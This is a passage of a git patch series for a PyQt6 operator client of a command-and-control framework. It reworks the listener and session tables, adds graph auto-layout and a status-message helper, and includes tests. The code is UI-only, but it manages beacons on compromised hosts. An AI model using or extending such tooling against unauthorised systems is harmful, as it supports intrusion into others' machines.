QLabel(ListenerTabTitle) self.headerLayout = QHBoxLayout() + self.headerLayout.setSpacing(4) self.headerLayout.addWidget(self.label) self.headerLayout.addStretch(1) - self.addListenerButton = QPushButton("Add Listener") - self.addListenerButton.setToolTip("Create a new primary listener.") + self.addListenerButton = self.createToolbarButton("Add", "Create a new primary listener.") self.addListenerButton.clicked.connect(self.listenerForm) self.headerLayout.addWidget(self.addListenerButton) - self.stopListenerButton = QPushButton("Stop") - self.stopListenerButton.setToolTip("Stop the selected listener.") + self.stopListenerButton = self.createToolbarButton("Stop", "Stop the selected listener.") self.stopListenerButton.clicked.connect(self.stopSelectedListener) self.headerLayout.addWidget(self.stopListenerButton) - self.copyListenerIdButton = QPushButton("Copy ID") - self.copyListenerIdButton.setToolTip("Copy the selected listener hash.") + self.copyListenerIdButton = self.createToolbarButton("Copy", "Copy the selected listener hash.") self.copyListenerIdButton.clicked.connect(self.copySelectedListenerId) self.headerLayout.addWidget(self.copyListenerIdButton) - self.refreshButton = QPushButton("Refresh") - self.refreshButton.setToolTip("Refresh listeners now.") + self.refreshButton = self.createToolbarButton("Refresh", "Refresh listeners now.", width=70) self.refreshButton.clicked.connect(self.listListeners) self.headerLayout.addWidget(self.refreshButton) self.layout.addLayout(self.headerLayout, 0, 0) self.statusLabel = QLabel("") + self.statusLabel.setMinimumHeight(18) self.layout.addWidget(self.statusLabel, 1, 0) # List of sessions self.listListener = QTableWidget() self.listListener.setShowGrid(False) + self.listListener.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Expanding) self.listListener.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.listListener.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) self.listListener.setRowCount(0) self.listListener.setColumnCount(4) @@ -123,9 +129,7 @@ def __init__(self, parent, grpcClient): self.listListener.itemSelectionChanged.connect(self.updateActionButtons) self.listListener.verticalHeader().setVisible(False) - header = self.listListener.horizontalHeader() - for i in range(header.count()): - header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) + self.configureTableColumns() self.layout.addWidget(self.listListener, 2, 0) # Thread to get listeners every second @@ -140,6 +144,25 @@ def __init__(self, parent, grpcClient): self.setLayout(self.layout) self.updateActionButtons() + def createToolbarButton(self, text, tooltip, width=58): + button = QPushButton(text) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + + def configureTableColumns(self): + header = self.listListener.horizontalHeader() + header.setStretchLastSection(False) + header.setMinimumSectionSize(44) + for index, width in enumerate(self.COLUMN_WIDTHS): + if index == self.STRETCH_COLUMN: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Stretch) + else: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) + self.listListener.setColumnWidth(index, width) + def setStatusMessage(self, ack, successFallback): message = operation_ack_text(ack, successFallback) self.setInlineStatus(message, is_response_ok(ack)) @@ -299,7 +322,14 @@ def listListeners(self): def printListeners(self): self.listListener.setRowCount(len(self.listListenerObject)) - self.listListener.setHorizontalHeaderLabels(["Listener ID", "Type", "Host", "Port"]) + self.listListener.setHorizontalHeaderLabels(["ID", "Type", "Host", "Port"]) + for index, tooltip in { + 0: "Listener hash", + 2: "Bind IP, domain, project, or pivot host", + }.items(): + headerItem = self.listListener.horizontalHeaderItem(index) + if headerItem is not None: + headerItem.setToolTip(tooltip) for ix, listenerStore in enumerate(self.listListenerObject): listenerHash = QTableWidgetItem(listenerStore.listenerHash[0:8]) @@ -309,6 +339,7 @@ def printListeners(self): self.listListener.setItem(ix, 1, type) host = QTableWidgetItem(listenerStore.host) + host.setToolTip(listenerStore.host) self.listListener.setItem(ix, 2, host) port = QTableWidgetItem(str(listenerStore.port)) diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index ba0422c..4042b6f 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -1,7 +1,6 @@ import time -import logging -from PyQt6.QtCore import Qt, QThread, QTimer, pyqtSignal, QObject +from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject from PyQt6.QtWidgets import ( QApplication, QGridLayout, @@ -9,12 +8,12 @@ QLabel, QMenu, QPushButton, - QTableView, QTableWidget, QTableWidgetItem, QWidget, QHeaderView, QAbstractItemView, + QSizePolicy, ) from .grpcClient import TeamServerApi_pb2 @@ -50,6 +49,8 @@ class Sessions(QWidget): idSession = 0 listSessionObject = [] + COLUMN_WIDTHS = [76, 76, 140, 116, 62, 84, 98, 64, 156, 132, 58] + STRETCH_COLUMN = 8 def __init__(self, parent, grpcClient): @@ -61,40 +62,46 @@ def __init__(self, parent, grpcClient): widget = QWidget(self) self.layout = QGridLayout(widget) + self.layout.setContentsMargins(4, 4, 4, 4) + self.layout.setHorizontalSpacing(6) + self.layout.setVerticalSpacing(4) + self.layout.setColumnStretch(0, 1) + self.layout.setRowStretch(2, 1) self.label = QLabel('Sessions') self.headerLayout = QHBoxLayout() + self.headerLayout.setSpacing(4) self.headerLayout.addWidget(self.label) self.headerLayout.addStretch(1) - self.interactButton = QPushButton("Interact") + self.interactButton = self.createToolbarButton("Open", "Open an interactive console for the selected session.") self.interactButton.setToolTip("Open an interactive console for the selected session.") self.interactButton.clicked.connect(self.interactWithSelectedSession) self.headerLayout.addWidget(self.interactButton) - self.stopButton = QPushButton("Stop") - self.stopButton.setToolTip("Queue a stop command for the selected session.") + self.stopButton = self.createToolbarButton("Stop", "Queue a stop command for the selected session.") self.stopButton.clicked.connect(self.stopSelectedSession) self.headerLayout.addWidget(self.stopButton) - self.copySessionIdButton = QPushButton("Copy ID") - self.copySessionIdButton.setToolTip("Copy the selected beacon hash.") + self.copySessionIdButton = self.createToolbarButton("Copy", "Copy the selected beacon hash.") self.copySessionIdButton.clicked.connect(self.copySelectedSessionId) self.headerLayout.addWidget(self.copySessionIdButton) - self.refreshButton = QPushButton("Refresh") - self.refreshButton.setToolTip("Refresh sessions now.") + self.refreshButton = self.createToolbarButton("Refresh", "Refresh sessions now.", width=70) self.refreshButton.clicked.connect(self.listSessions) self.headerLayout.addWidget(self.refreshButton) self.layout.addLayout(self.headerLayout, 0, 0) self.statusLabel = QLabel("") + self.statusLabel.setMinimumHeight(18) self.layout.addWidget(self.statusLabel, 1, 0) # List of sessions self.listSession = QTableWidget() self.listSession.setShowGrid(False) + self.listSession.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Expanding) self.listSession.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.listSession.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) self.listSession.setRowCount(0) self.listSession.setColumnCount(11) @@ -103,10 +110,7 @@ def __init__(self, parent, grpcClient): self.listSession.itemSelectionChanged.connect(self.updateActionButtons) self.listSession.verticalHeader().setVisible(False) - header = self.listSession.horizontalHeader() - for i in range(header.count()): - header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) - QTimer.singleShot(100, self.switch_to_interactive) + self.configureTableColumns() self.layout.addWidget(self.listSession, 2, 0) # Thread to fetch sessions every second @@ -121,6 +125,25 @@ def __init__(self, parent, grpcClient): self.setLayout(self.layout) self.updateActionButtons() + def createToolbarButton(self, text, tooltip, width=58): + button = QPushButton(text) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + + def configureTableColumns(self): + header = self.listSession.horizontalHeader() + header.setStretchLastSection(False) + header.setMinimumSectionSize(44) + for index, width in enumerate(self.COLUMN_WIDTHS): + if index == self.STRETCH_COLUMN: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Stretch) + else: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) + self.listSession.setColumnWidth(index, width) + def setStatusMessage(self, ack, successFallback): message = operation_ack_text(ack, successFallback) self.setInlineStatus(message, is_response_ok(ack)) @@ -179,16 +202,10 @@ def copySelectedSessionId(self): def resizeEvent(self, event): super().resizeEvent(event) self.listSession.verticalHeader().setVisible(False) - header = self.listSession.horizontalHeader() - for i in range(header.count()): - header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) - QTimer.singleShot(100, self.switch_to_interactive) def switch_to_interactive(self): - header = self.listSession.horizontalHeader() - for i in range(header.count()): - header.setSectionResizeMode(i, QHeaderView.ResizeMode.Interactive) + return def __del__(self): self.getSessionsWorker.quit() @@ -306,10 +323,19 @@ def listSessions(self): # don't clear the list each time but just when it's necessary def printSessions(self): self.listSession.setRowCount(len(self.listSessionObject)) - self.listSession.setHorizontalHeaderLabels(["Beacon ID", "Listener ID", "Host", "User", "Beacon Arch", "Privilege", "Operating System", "Process ID", "Internal IP", "ProofOfLife", "Killed"]) + self.listSession.setHorizontalHeaderLabels(["Beacon", "Listener", "Host", "User", "Arch", "Priv", "OS", "PID", "Internal IP", "Last Seen", "Killed"]) archHeader = self.listSession.horizontalHeaderItem(4) if archHeader is not None: archHeader.setToolTip("Architecture du process beacon") + for index, tooltip in { + 0: "Beacon hash", + 1: "Listener hash", + 8: "Internal IP addresses", + 9: "Last proof of life", + }.items(): + headerItem = self.listSession.horizontalHeaderItem(index) + if headerItem is not None: + headerItem.setToolTip(tooltip) for ix, sessionStore in enumerate(self.listSessionObject): beaconHash = QTableWidgetItem(sessionStore.beaconHash[0:8]) @@ -337,6 +363,7 @@ def printSessions(self): self.listSession.setItem(ix, 7, processId) internalIps = QTableWidgetItem(sessionStore.internalIps) + internalIps.setToolTip(sessionStore.internalIps) self.listSession.setItem(ix, 8, internalIps) pol = QTableWidgetItem(sessionStore.lastProofOfLife.split(".", 1)[0]) diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index 4ad7aca..0a1dad3 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -1,4 +1,4 @@ -from PyQt6.QtWidgets import QApplication, QWidget +from PyQt6.QtWidgets import QApplication, QHeaderView, QWidget from C2Client.ListenerPanel import Listener, Listeners from C2Client.grpcClient import TeamServerApi_pb2 @@ -52,6 +52,10 @@ def test_listener_toolbar_actions_use_selected_listener(qtbot, monkeypatch): assert listeners.addListenerButton.isEnabled() is True assert listeners.stopListenerButton.isEnabled() is False assert listeners.copyListenerIdButton.isEnabled() is False + assert listeners.addListenerButton.text() == "Add" + assert listeners.copyListenerIdButton.text() == "Copy" + assert listeners.listListener.horizontalHeaderItem(0).text() == "ID" + assert listeners.listListener.horizontalHeader().sectionResizeMode(2) == QHeaderView.ResizeMode.Stretch listeners.listListener.selectRow(0) @@ -64,3 +68,22 @@ def test_listener_toolbar_actions_use_selected_listener(qtbot, monkeypatch): listeners.stopListenerButton.click() assert grpc.stopped_listeners[-1].listener_hash == "listener-full-hash" + + +def test_listener_table_keeps_user_column_width_after_refresh(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + parent = QWidget() + listeners = Listeners(parent, StubGrpc()) + listeners.listListenerObject = [ + Listener(0, "listener-full-hash", "https", "192.168.56.120", 8443, 0) + ] + qtbot.addWidget(listeners) + + listeners.printListeners() + listeners.listListener.setColumnWidth(0, 123) + listeners.printListeners() + + assert listeners.listListener.columnWidth(0) == 123 + assert listeners.listListener.item(0, 2).text() == "192.168.56.120" + assert listeners.listListener.item(0, 2).toolTip() == "192.168.56.120" diff --git a/C2Client/tests/test_session_panel.py b/C2Client/tests/test_session_panel.py index 059f080..2d3cfa0 100644 --- a/C2Client/tests/test_session_panel.py +++ b/C2Client/tests/test_session_panel.py @@ -1,4 +1,4 @@ -from PyQt6.QtWidgets import QApplication, QWidget +from PyQt6.QtWidgets import QApplication, QHeaderView, QWidget from C2Client.SessionPanel import Session, Sessions from C2Client.grpcClient import TeamServerApi_pb2 @@ -28,7 +28,7 @@ def test_sessions_table_labels_arch_as_beacon_process(qtbot, monkeypatch): sessions.printSessions() arch_header = sessions.listSession.horizontalHeaderItem(4) - assert arch_header.text() == "Beacon Arch" + assert arch_header.text() == "Arch" assert arch_header.toolTip() == "Architecture du process beacon" @@ -80,6 +80,9 @@ def test_session_toolbar_actions_use_selected_session(qtbot, monkeypatch): assert sessions.interactButton.isEnabled() is False assert sessions.stopButton.isEnabled() is False assert sessions.copySessionIdButton.isEnabled() is False + assert sessions.interactButton.text() == "Open" + assert sessions.copySessionIdButton.text() == "Copy" + assert sessions.listSession.horizontalHeader().sectionResizeMode(8) == QHeaderView.ResizeMode.Stretch sessions.listSession.selectRow(0) @@ -97,3 +100,36 @@ def test_session_toolbar_actions_use_selected_session(qtbot, monkeypatch): sessions.stopButton.click() assert grpc.stopped_sessions[-1].beacon_hash == "beacon-full-hash" assert grpc.stopped_sessions[-1].listener_hash == "listener-full-hash" + + +def test_session_table_keeps_user_column_width_after_refresh(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) + + parent = QWidget() + sessions = Sessions(parent, StubGrpc()) + sessions.listSessionObject = [ + Session( + 0, + "listener-full-hash", + "beacon-full-hash", + "host1", + "user1", + "x64", + "HIGH", + "Windows", + "2026-05-04T12:00:00", + False, + "10.0.0.5, 192.168.56.20", + "1234", + "", + ) + ] + qtbot.addWidget(sessions) + + sessions.printSessions() + sessions.listSession.setColumnWidth(2, 224) + sessions.printSessions() + + assert sessions.listSession.columnWidth(2) == 224 + assert sessions.listSession.item(0, 8).text() == "10.0.0.5, 192.168.56.20" + assert sessions.listSession.item(0, 8).toolTip() == "10.0.0.5, 192.168.56.20" From 80707a322d048571754f75b74e0bf8d779d973ba Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 16:19:33 +0200 Subject: [PATCH 05/82] fix(c2client): auto-layout graph nodes --- C2Client/C2Client/GraphPanel.py | 43 +++++++++++++++++-- C2Client/tests/test_graph_panel.py | 67 ++++++++++++++++++++++++++++++ 2 files changed, 107 insertions(+), 3 deletions(-) create mode 100644 C2Client/tests/test_graph_panel.py diff --git a/C2Client/C2Client/GraphPanel.py b/C2Client/C2Client/GraphPanel.py index 4988efe..4029e67 100644 --- a/C2Client/C2Client/GraphPanel.py +++ b/C2Client/C2Client/GraphPanel.py @@ -1,9 +1,8 @@ import sys import os import time -from threading import Thread, Lock -from PyQt6.QtCore import QObject, Qt, QThread, QLineF, pyqtSignal +from PyQt6.QtCore import QObject, QPointF, Qt, QThread, QLineF, pyqtSignal from PyQt6.QtGui import QColor, QFont, QPainter, QPen, QPixmap from PyQt6.QtWidgets import ( QGraphicsLineItem, @@ -70,6 +69,8 @@ class NodeItem(QGraphicsPixmapItem): signaller = Signaller() def __init__(self, type, hash, os="", privilege="", hostname="", parent=None): + self.autoPositioned = False + self.userMoved = False if type == ListenerNodeItemType: self.type = ListenerNodeItemType pixmap = self.addImageNode(PrimaryListenerImage, "") @@ -109,6 +110,8 @@ def isResponsableForListener(self, hash): return False def mouseMoveEvent(self, event): + self.userMoved = True + self.autoPositioned = False super().mouseMoveEvent(event) self.signaller.trigger() @@ -176,7 +179,12 @@ def update_line(self): class Graph(QWidget): - listNodeItem = [] + PRIMARY_LISTENER_X = 40 + BEACON_X = 260 + SECONDARY_LISTENER_X = 480 + NODE_Y_START = 40 + NODE_Y_GAP = 120 + listNodeItem = [] listConnector = [] @@ -187,6 +195,8 @@ def __init__(self, parent, grpcClient): height = self.frameGeometry().height() self.grpcClient = grpcClient + self.listNodeItem = [] + self.listConnector = [] self.scene = QGraphicsScene() @@ -219,6 +229,32 @@ def updateConnectors(self): for connector in self.listConnector: connector.update_line() + def applyAutoLayout(self): + primaryListeners = [ + item for item in self.listNodeItem + if item.type == ListenerNodeItemType + ] + beacons = [ + item for item in self.listNodeItem + if item.type == BeaconNodeItemType + ] + secondaryListenerBeacons = [ + item for item in beacons + if item.listenerHash + ] + + self.positionNodeColumn(primaryListeners, self.PRIMARY_LISTENER_X) + self.positionNodeColumn(beacons, self.BEACON_X) + self.positionNodeColumn(secondaryListenerBeacons, self.SECONDARY_LISTENER_X) + self.updateConnectors() + self.scene.setSceneRect(self.scene.itemsBoundingRect().adjusted(-80, -80, 160, 160)) + + def positionNodeColumn(self, nodes, x): + for index, node in enumerate(nodes): + if node.userMoved: + continue + node.setPos(QPointF(x, self.NODE_Y_START + index * self.NODE_Y_GAP)) + node.autoPositioned = True # Update the graphe every X sec with information from the team server def updateGraph(self): @@ -340,6 +376,7 @@ def updateGraph(self): for item in self.listNodeItem: item.setFlag(QGraphicsItem.GraphicsItemFlag.ItemIsMovable) item.setFlag(QGraphicsItem.GraphicsItemFlag.ItemIsSelectable) + self.applyAutoLayout() class GetGraphInfoWorker(QObject): diff --git a/C2Client/tests/test_graph_panel.py b/C2Client/tests/test_graph_panel.py new file mode 100644 index 0000000..c79ad74 --- /dev/null +++ b/C2Client/tests/test_graph_panel.py @@ -0,0 +1,67 @@ +from types import SimpleNamespace + +from PyQt6.QtCore import QPointF +from PyQt6.QtWidgets import QWidget + +from C2Client.GraphPanel import BeaconNodeItemType, Graph, ListenerNodeItemType + + +class StubGrpc: + def listSessions(self): + return [ + SimpleNamespace( + beacon_hash="beacon-1", + listener_hash="listener-1", + os="Windows", + privilege="HIGH", + hostname="host1", + ), + SimpleNamespace( + beacon_hash="beacon-2", + listener_hash="listener-2", + os="Linux", + privilege="user", + hostname="host2", + ), + ] + + def listListeners(self): + return [ + SimpleNamespace(listener_hash="listener-1", beacon_hash=""), + SimpleNamespace(listener_hash="listener-2", beacon_hash=""), + ] + + +def test_graph_auto_layout_separates_new_nodes(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + graph = Graph(QWidget(), StubGrpc()) + qtbot.addWidget(graph) + + graph.updateGraph() + + listeners = [node for node in graph.listNodeItem if node.type == ListenerNodeItemType] + beacons = [node for node in graph.listNodeItem if node.type == BeaconNodeItemType] + + assert len(listeners) == 2 + assert len(beacons) == 2 + assert len({(node.pos().x(), node.pos().y()) for node in graph.listNodeItem}) == 4 + assert all(node.pos() != QPointF(0, 0) for node in graph.listNodeItem) + assert {node.pos().x() for node in listeners} == {graph.PRIMARY_LISTENER_X} + assert {node.pos().x() for node in beacons} == {graph.BEACON_X} + + +def test_graph_auto_layout_preserves_user_moved_nodes(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + graph = Graph(QWidget(), StubGrpc()) + qtbot.addWidget(graph) + graph.updateGraph() + + moved = graph.listNodeItem[0] + moved.userMoved = True + moved.setPos(QPointF(900, 700)) + + graph.updateGraph() + + assert moved.pos() == QPointF(900, 700) From c97988c1d10075a7bc9beba3d06bc95d98b32e91 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 16:31:13 +0200 Subject: [PATCH 06/82] Normalize C2Client status messages --- C2Client/C2Client/GUI.py | 40 +++++++------ C2Client/C2Client/ListenerPanel.py | 15 ++--- C2Client/C2Client/SessionPanel.py | 13 ++--- C2Client/C2Client/ui_status.py | 81 +++++++++++++++++++++++++++ C2Client/TODO.md | 2 +- C2Client/tests/test_listener_panel.py | 2 +- C2Client/tests/test_session_panel.py | 2 +- C2Client/tests/test_ui_status.py | 29 ++++++++++ 8 files changed, 147 insertions(+), 37 deletions(-) create mode 100644 C2Client/C2Client/ui_status.py create mode 100644 C2Client/tests/test_ui_status.py diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 33358e0..f59fa0d 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -28,6 +28,17 @@ from .ConsolePanel import ConsolesTab from .GraphPanel import Graph from .env import env_bool, env_int, env_value, load_c2_env +from .ui_status import ( + DEFAULT_LAST_ERROR_TEXT, + DEFAULT_LAST_RPC_TEXT, + StatusKind, + apply_error, + apply_status, + clear_status, + compact_message, + format_last_error, + format_last_rpc, +) import qdarktheme @@ -68,8 +79,8 @@ def __init__(self, parent: Optional[QWidget] = None, default_username: str = "") self.password_input.setEchoMode(QLineEdit.EchoMode.Password) layout.addWidget(self.password_input) - self.error_label = QLabel("Username and password are required.") - self.error_label.setStyleSheet("color: red;") + self.error_label = QLabel() + apply_error(self.error_label, "Username and password are required.") self.error_label.setVisible(False) layout.addWidget(self.error_label) @@ -160,8 +171,8 @@ def setupStatusBar(self) -> None: """Initialise the persistent connection and RPC status widgets.""" self.connectionStatusLabel = QLabel(self) - self.rpcStatusLabel = QLabel("Last RPC: none", self) - self.errorStatusLabel = QLabel("Last error: none", self) + self.rpcStatusLabel = QLabel(DEFAULT_LAST_RPC_TEXT, self) + self.errorStatusLabel = QLabel(DEFAULT_LAST_ERROR_TEXT, self) for label in (self.connectionStatusLabel, self.rpcStatusLabel, self.errorStatusLabel): label.setTextInteractionFlags(Qt.TextInteractionFlag.TextSelectableByMouse) @@ -182,31 +193,26 @@ def setConnectionStatus(self, connected: bool) -> None: cert_path = getattr(self.grpcClient, "ca_cert_path", "") cert_name = os.path.basename(cert_path) if cert_path else "unknown cert" tls_mode = "dev TLS" if self.devMode else "TLS" - self.connectionStatusLabel.setText( + apply_status( + self.connectionStatusLabel, f"{state} | {endpoint} | user {self.operatorUsername} | {tls_mode} | cert {cert_name}{client_id_text}", + StatusKind.SUCCESS if connected else StatusKind.ERROR, ) - color = "#0a7f2e" if connected else "#b00020" - self.connectionStatusLabel.setStyleSheet(f"color: {color};") def updateRpcStatus(self, operation: str, ok: bool, message: str) -> None: timestamp = datetime.now().strftime("%H:%M:%S") self.setConnectionStatus(ok) - self.rpcStatusLabel.setText(f"Last RPC: {operation or 'unknown'} at {timestamp}") + self.rpcStatusLabel.setText(format_last_rpc(operation, timestamp)) if not ok: - self._lastRpcError = self.compactStatusMessage(f"{operation}: {message}") - self.errorStatusLabel.setText(f"Last error: {self._lastRpcError}") - self.errorStatusLabel.setStyleSheet("color: #b00020;") + self._lastRpcError = format_last_error(operation, message) + apply_error(self.errorStatusLabel, f"Last error: {self._lastRpcError}") elif not self._lastRpcError: - self.errorStatusLabel.setText("Last error: none") - self.errorStatusLabel.setStyleSheet("") + clear_status(self.errorStatusLabel, DEFAULT_LAST_ERROR_TEXT) @staticmethod def compactStatusMessage(message: str, limit: int = 160) -> str: - text = " ".join(str(message or "").split()) - if len(text) <= limit: - return text - return text[: limit - 3] + "..." + return compact_message(message, limit=limit) def topLayout(self) -> None: """Initialise the upper part of the main window.""" diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index be6f87b..940c75c 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -22,6 +22,7 @@ from .grpcClient import TeamServerApi_pb2 from .env import env_int from .grpc_status import is_response_ok, operation_ack_text +from .ui_status import apply_status, format_action_status, status_kind_for_ok # @@ -163,16 +164,12 @@ def configureTableColumns(self): header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) self.listListener.setColumnWidth(index, width) - def setStatusMessage(self, ack, successFallback): + def setStatusMessage(self, ack, successFallback, action="Operation"): message = operation_ack_text(ack, successFallback) - self.setInlineStatus(message, is_response_ok(ack)) + self.setInlineStatus(format_action_status(action, message), is_response_ok(ack)) def setInlineStatus(self, message, ok=True): - self.statusLabel.setText(message) - if ok: - self.statusLabel.setStyleSheet("color: #0a7f2e;") - else: - self.statusLabel.setStyleSheet("color: #b00020;") + apply_status(self.statusLabel, message, status_kind_for_ok(ok)) def updateActionButtons(self): hasSelection = self.selectedListener() is not None @@ -264,7 +261,7 @@ def addListener(self, message): ip=message[1], port=int(message[2])) ack = self.grpcClient.addListener(listener) - self.setStatusMessage(ack, "Listener command accepted.") + self.setStatusMessage(ack, "Listener command accepted.", action="Add listener") # send message for stoping a listener @@ -272,7 +269,7 @@ def stopListener(self, listenerHash): listener = TeamServerApi_pb2.ListenerSelector( listener_hash=listenerHash) ack = self.grpcClient.stopListener(listener) - self.setStatusMessage(ack, "Listener stop command accepted.") + self.setStatusMessage(ack, "Listener stop command accepted.", action="Stop listener") # query the server to get the list of listeners diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index 4042b6f..6c2bffd 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -19,6 +19,7 @@ from .grpcClient import TeamServerApi_pb2 from .env import env_int from .grpc_status import is_response_ok, operation_ack_text +from .ui_status import apply_status, format_action_status, status_kind_for_ok # @@ -144,16 +145,12 @@ def configureTableColumns(self): header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) self.listSession.setColumnWidth(index, width) - def setStatusMessage(self, ack, successFallback): + def setStatusMessage(self, ack, successFallback, action="Operation"): message = operation_ack_text(ack, successFallback) - self.setInlineStatus(message, is_response_ok(ack)) + self.setInlineStatus(format_action_status(action, message), is_response_ok(ack)) def setInlineStatus(self, message, ok=True): - self.statusLabel.setText(message) - if ok: - self.statusLabel.setStyleSheet("color: #0a7f2e;") - else: - self.statusLabel.setStyleSheet("color: #b00020;") + apply_status(self.statusLabel, message, status_kind_for_ok(ok)) def updateActionButtons(self): hasSelection = self.selectedSession() is not None @@ -250,7 +247,7 @@ def stopSession(self, beaconHash, listenerHash): session = TeamServerApi_pb2.SessionSelector( beacon_hash=beaconHash, listener_hash=listenerHash) ack = self.grpcClient.stopSession(session) - self.setStatusMessage(ack, "Session stop command accepted.") + self.setStatusMessage(ack, "Session stop command accepted.", action="Stop session") self.listSessions() diff --git a/C2Client/C2Client/ui_status.py b/C2Client/C2Client/ui_status.py new file mode 100644 index 0000000..67c8cff --- /dev/null +++ b/C2Client/C2Client/ui_status.py @@ -0,0 +1,81 @@ +"""Shared helpers for operator-visible UI status messages.""" + +from __future__ import annotations + +from enum import Enum +from typing import Any + + +class StatusKind(str, Enum): + NEUTRAL = "neutral" + INFO = "info" + SUCCESS = "success" + WARNING = "warning" + ERROR = "error" + + +STATUS_COLORS = { + StatusKind.NEUTRAL: "", + StatusKind.INFO: "#4b5563", + StatusKind.SUCCESS: "#0a7f2e", + StatusKind.WARNING: "#a05a00", + StatusKind.ERROR: "#b00020", +} + +DEFAULT_LAST_RPC_TEXT = "Last RPC: none" +DEFAULT_LAST_ERROR_TEXT = "Last error: none" + + +def compact_message(message: Any, limit: int = 160) -> str: + """Collapse whitespace and trim long status text for compact UI labels.""" + + text = " ".join(str(message or "").split()) + if limit < 4 or len(text) <= limit: + return text + return text[: limit - 3] + "..." + + +def status_kind_for_ok(ok: bool) -> StatusKind: + return StatusKind.SUCCESS if ok else StatusKind.ERROR + + +def status_stylesheet(kind: StatusKind) -> str: + color = STATUS_COLORS.get(kind, "") + return f"color: {color};" if color else "" + + +def apply_status(label: Any, message: Any, kind: StatusKind = StatusKind.INFO) -> None: + label.setText(str(message or "")) + label.setStyleSheet(status_stylesheet(kind)) + + +def apply_success(label: Any, message: Any) -> None: + apply_status(label, message, StatusKind.SUCCESS) + + +def apply_error(label: Any, message: Any) -> None: + apply_status(label, message, StatusKind.ERROR) + + +def clear_status(label: Any, message: str = "") -> None: + apply_status(label, message, StatusKind.NEUTRAL) + + +def format_last_rpc(operation: str, timestamp: str) -> str: + return f"Last RPC: {operation or 'unknown'} at {timestamp}" + + +def format_action_status(action: str, message: Any, limit: int = 160) -> str: + action_text = compact_message(action, limit=48).rstrip(":") + message_text = compact_message(message, limit=limit) + if not action_text: + return message_text + if not message_text: + return action_text + if message_text.lower().startswith(action_text.lower()): + return message_text + return compact_message(f"{action_text}: {message_text}", limit=limit) + + +def format_last_error(operation: str, message: Any, limit: int = 160) -> str: + return format_action_status(operation or "unknown", message, limit=limit) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 2be7418..0e45cd3 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -12,7 +12,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 4 | Utiliser `.env` comme defaults CLI | S | Fort | Fait. `C2_IP`, `C2_PORT` et `C2_DEV_MODE` alimentent les defaults CLI, avec arguments CLI prioritaires. | | 5 | Rendre les actions principales visibles | S | Fort | Fait. Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; le clic droit reste disponible comme raccourci. | | 6 | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | -| 7 | Ameliorer les messages d'erreur et d'etat | S | Fort | Normaliser success/error dans les panneaux, afficher l'action concernee, conserver la derniere erreur visible. | +| 7 | Ameliorer les messages d'erreur et d'etat | S | Fort | Fait. Helper UI commun pour success/error/info, prefixe action, compactage des messages longs, barre RPC et statuts panels harmonises. | | 8 | Nettoyer le bruit console/debug | S | Moyen | Remplacer les `print()` UI par logging, supprimer debug accidentels, rendre les erreurs scripts visibles sans casser l'UI. | | 9 | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | | 10 | Humaniser l'etat des sessions | M | Fort | Badges `alive`, `stale`, `killed`, last seen relatif, couleur discrete par privilege/OS, detection session inactive. | diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index 0a1dad3..757e579 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -33,7 +33,7 @@ def test_add_listener_ack_message_is_displayed(qtbot, monkeypatch): listeners.addListener(["https", "0.0.0.0", "8443"]) - assert listeners.statusLabel.text() == "Listener already exists." + assert listeners.statusLabel.text() == "Add listener: Listener already exists." assert 